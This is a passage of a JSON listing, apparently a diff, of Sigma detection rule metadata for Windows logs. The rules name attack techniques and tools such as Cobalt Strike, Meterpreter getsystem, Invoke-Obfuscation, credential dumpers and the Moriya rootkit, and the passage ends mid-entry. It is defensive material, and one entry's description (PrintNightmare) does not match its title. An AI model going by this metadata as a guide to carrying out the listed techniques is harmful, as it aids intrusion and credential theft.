"win_security_user_logoff.yml", - "level": "informational", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" - ], - "tags": "No established tags" - }, - "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be", - "value": "User Logoff Event" - }, - { - "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/20", - "falsepositive": [ - "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." - ], - "filename": "win_security_vssaudit_secevent_source_registration.yml", - "level": "informational", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", - "value": "VSSAudit Security Event Source Registration" - }, - { - "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c", - "value": "T1047 Wmiprvse Wbemcomn DLL Hijack" - }, - { - "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", - "meta": { - "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", - "creation_date": "2017/08/22", - "falsepositive": [ - "Unknown (data set is too small; further testing needed)" - ], - "filename": "win_security_wmi_persistence.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://twitter.com/mattifestation/status/899646620148539397", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.003" - ] - }, - "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88", - "value": "WMI Persistence" - }, - { - "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2022/08/02", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_mitigations_defender_load_unsigned_dll.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml", - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86", - "value": "Microsoft Defender Blocked from Loading Unsigned DLL" - }, - { - "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/03", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml", - "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "8289bf8c-4aca-4f5a-9db3-dc3d7afe5c10", - "value": "Unsigned Binary Loaded From Suspicious Location" - }, - { - "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", - "falsepositive": [ - "Legitimate use of Hybrid Connection Manager via Azure function apps." - ], - "filename": "win_hybridconnectionmgr_svc_running.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1554" - ] - }, - "uuid": "b55d23e5-6821-44ff-8a6e-67218891e49f", - "value": "HybridConnectionManager Service Running" - }, - { - "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/14", - "falsepositive": [ - "Packages or applications being legitimately used by users or administrators" - ], - "filename": "win_shell_core_susp_packages_installed.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml", - "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "83c161b6-ca67-4f33-8ad0-644a0737cf07", - "value": "Suspicious Application Installed" - }, - { - "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", - "meta": { - "author": "Florian Roth, KevTheHermit, fuzzyf10w", - "creation_date": "2021/06/30", - "falsepositive": [ - "Account fallback reasons (after failed login with specific account)" - ], - "filename": "win_susp_failed_guest_logon.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml", - "https://github.com/afwu/PrintNightmare", - "https://github.com/hhlxf/PrintNightmare", - "https://twitter.com/KevTheHermit/status/1410203844064301056" - ], - "tags": [ - "attack.credential_access", - "attack.t1110.001" - ] - }, - "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", - "value": "Suspicious Rejected SMB Guest Logon From IP" - }, - { - "description": "Detects repeated failed (outgoing) attempts to mount a hidden share", - "meta": { - "author": "Fabian Franz", - "creation_date": "2022/08/30", - "falsepositive": [ - "Legitimate administrative activity", - "Faulty scripts" - ], - "filename": "win_susp_failed_hidden_share_mount.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/moti_b/status/1032645458634653697", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml", - "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5" - ], - "tags": [ - "attack.t1021.002", - "attack.lateral_movement" - ] - }, - "uuid": "1c3be8c5-6171-41d3-b792-cab6f717fcdb", - "value": "Failed Mounting of Hidden Share" - }, - { - "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/11", - "falsepositive": [ - "Legitimate usage of the anydesk tool" - ], - "filename": "win_system_anydesk_service_installation.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", - "value": "Anydesk Remote Access Software Service Installation" - }, - { - "description": "Detects application popup reporting a failure of the Sysmon service", - "meta": { - "author": "Tim Shelton", - "creation_date": "2022/04/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_application_sysmon_crash.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_application_sysmon_crash.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "4d7f1827-1637-4def-8d8a-fd254f9454df", - "value": "Sysmon Crash" - }, - { - "description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/31", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_apt_carbonpaper_turla.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_carbonpaper_turla.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0010", - "attack.t1543.003" - ] - }, - "uuid": "1df8b3da-b0ac-4d8a-b7c7-6cb7c24160e4", - "value": "Turla Service Install" - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "meta": { - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_apt_chafer_mar18_system.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml", - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", - "value": "Chafer Activity" - }, - { - "description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_system_apt_stonedrill.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml", - "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/" - ], - "tags": [ - "attack.persistence", - "attack.g0064", - "attack.t1543.003" - ] - }, - "uuid": "9e987c6c-4c1e-40d8-bd85-dd26fba8fdd6", - "value": "StoneDrill Service Install" - }, - { - "description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/11/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_system_apt_turla_service_png.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_turla_service_png.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0010", - "attack.t1543.003" - ] - }, - "uuid": "1228f8e2-7e79-4dea-b0ad-c91f1d5016c1", - "value": "Turla PNG Dropper Service" - }, - { - "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", - "meta": { - "author": "Florian Roth, Wojciech Lesicki", - "creation_date": "2021/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_cobaltstrike_service_installs.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://www.sans.org/webcasts/119395", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1543.003", - "attack.t1569.002" - ] - }, - "uuid": "5a105d34-05fc-401e-8553-272b45c1522d", - "value": "CobaltStrike Service Installations" - }, - { - "description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", - "meta": { - "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", - "falsepositive": [ - "Administrator actions", - "Auto updates of Windows Defender causes restarts" - ], - "filename": "win_system_defender_disabled.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "6c0a7755-6d31-44fa-80e1-133e57752680", - "value": "Windows Defender Threat Detection Disabled - Service" - }, - { - "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/01/10", - "falsepositive": [ - "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", - "System provisioning (system reset before the golden image creation)" - ], - "filename": "win_system_eventlog_cleared.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml", - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://twitter.com/deviouspolack/status/832535435960209408" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ] - }, - "uuid": "a62b37e0-45d3-48d9-a517-90c1a1b0186b", - "value": "Eventlog Cleared" - }, - { - "description": "Detects the use of smbexec.py tool by detecting a specific service installation", - "meta": { - "author": "Omer Faruk Celik", - "creation_date": "2018/03/20", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_hack_smbexec.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_hack_smbexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.execution", - "attack.t1021.002", - "attack.t1569.002" - ] - }, - "uuid": "52a85084-6989-40c3-8f32-091e12e13f09", - "value": "smbexec.py Service Installation" - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_clip_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation CLIP+ Launcher" - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", - "meta": { - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml", - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation" - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_stdin_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation STDIN+ Launcher" - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_var_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75", - "value": "Invoke-Obfuscation VAR+ Launcher" - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_compress_services.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "175997c5-803c-4b08-8bb0-70b099f47595", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_rundll_services.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER" - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_stdin_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "487c7524-f892-4054-b263-8a0ace63fc25", - "value": "Invoke-Obfuscation Via Stdin" - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "63e3365d-4824-42d8-8b82-e56810fefa0c", - "value": "Invoke-Obfuscation Via Use Clip" - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4", - "value": "Invoke-Obfuscation Via Use MSHTA" - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b", - "value": "Invoke-Obfuscation Via Use Rundll32" - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_invoke_obfuscation_via_var_services.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" - }, - { - "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/11/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_kdcsvc_rc4_downgrade.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_kdcsvc_rc4_downgrade.yml" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", - "value": "KDC RC4-HMAC Downgrade CVE-2022-37966" - }, - { - "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", - "meta": { - "author": "Sittikorn S, Tim Shelton", - "creation_date": "2022/05/11", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_krbrelayup_service_installation.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml", - "https://github.com/Dec0ne/KrbRelayUp" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ] - }, - "uuid": "e97d9903-53b2-41fc-8cb9-889ed4093e80", - "value": "KrbRelayUp Service Installation" - }, - { - "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_lpe_indicators_tabtip.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/antonioCoco/JuicyPotatoNG", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lpe_indicators_tabtip.yml" - ], - "tags": [ - "attack.execution", - "attack.t1557.001" - ] - }, - "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b", - "value": "Local Privilege Escalation Indicator TabTip" - }, - { - "description": "Detects the reporting of NTLMv1 being used between a client and server", - "meta": { - "author": "Tim Shelton", - "creation_date": "2022/04/26", - "falsepositive": [ - "Environments that use NTLMv1" - ], - "filename": "win_system_lsasrv_ntlmv1.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/techniques/T1550/002/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lsasrv_ntlmv1.yml" - ], - "tags": [ - "attack.execution", - "attack.t1550.002", - "attack.s0363" - ] - }, - "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d", - "value": "NTLMv1 Logon Between Client and Server" - }, - { - "description": "Detects well-known credential dumping tools execution via service execution events", - "meta": { - "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2017/03/05", - "falsepositive": [ - "Legitimate Administrator using credential dumping tool for password recovery" - ], - "filename": "win_system_mal_creddumper.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_mal_creddumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006", - "attack.t1569.002", - "attack.s0005" - ] - }, - "uuid": "4976aa50-8f41-45c6-8b15-ab3fc10e79ed", - "value": "Credential Dumping Tools Service Execution" - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", - "meta": { - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "creation_date": "2019/10/26", - "falsepositive": [ - "Highly unlikely" - ], - "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ] - }, - "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6", - "value": "Meterpreter or Cobalt Strike Getsystem Service Installation" - }, - { - "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/06", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_moriya_rootkit.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_moriya_rootkit.yml" - ], - "tags": [ - "attack.persistence", - 